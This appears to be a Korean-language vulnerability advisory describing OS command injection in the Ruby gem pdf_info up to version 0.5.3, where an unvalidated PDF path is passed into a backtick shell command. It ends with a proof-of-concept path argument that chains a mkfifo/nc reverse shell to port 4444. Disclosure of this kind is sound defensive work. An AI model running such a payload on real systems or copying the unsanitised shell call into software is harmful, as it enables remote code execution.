
pdf_info <= 0.5.3 OS 명령 삽입
루비 젬 pdf_info <= 0.5.3은 PDF::Info 객체에서 메서드를 실행할 때 OS 명령 삽입(OS Command Injection)에 취약합니다.
특별히 조작된 페이로드를 사용하는 공격자는 명령 체이닝을 통해 OS 명령을 실행할 수 있습니다.
새로운 PDF::Info 객체를 생성할 때 initialize 메서드가 호출됩니다.
def initialize(pdf_path)
@pdf_path = pdf_path
end
객체 초기화 중에는 검증이 수행되지 않으며 사용자가 제공한 경로가 사용됩니다.
다음과 같이 PDF::Info 객체를 생성하고 PDF의 메타데이터를 반환할 수 있습니다.
#!/usr/bin/env ruby
require 'pdf/info'
info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata
PDF::Info 객체에서 metadata 메서드를 호출하면 command 메서드가 인자로 전달된 상태에서 process_output 메서드가 호출됩니다.
command 메서드는 @pdf_info 클래스 변수를 사용하여 시스템에서 pdfinfo 명령을 실행하고, 다음 코드 조각을 사용하여 명령의 출력을 반환합니다.
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`
initialize 메서드와 마찬가지로 @pdf_path 변수에는 검증이 수행되지 않습니다. 이를 통해 ;를 사용한 명령 체이닝으로 임의의 명령을 실행할 수 있습니다.
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')
pp info.metadata
위 코드 조각은 포트 4444의 127.0.0.1로 리버스 셸을 실행합니다.
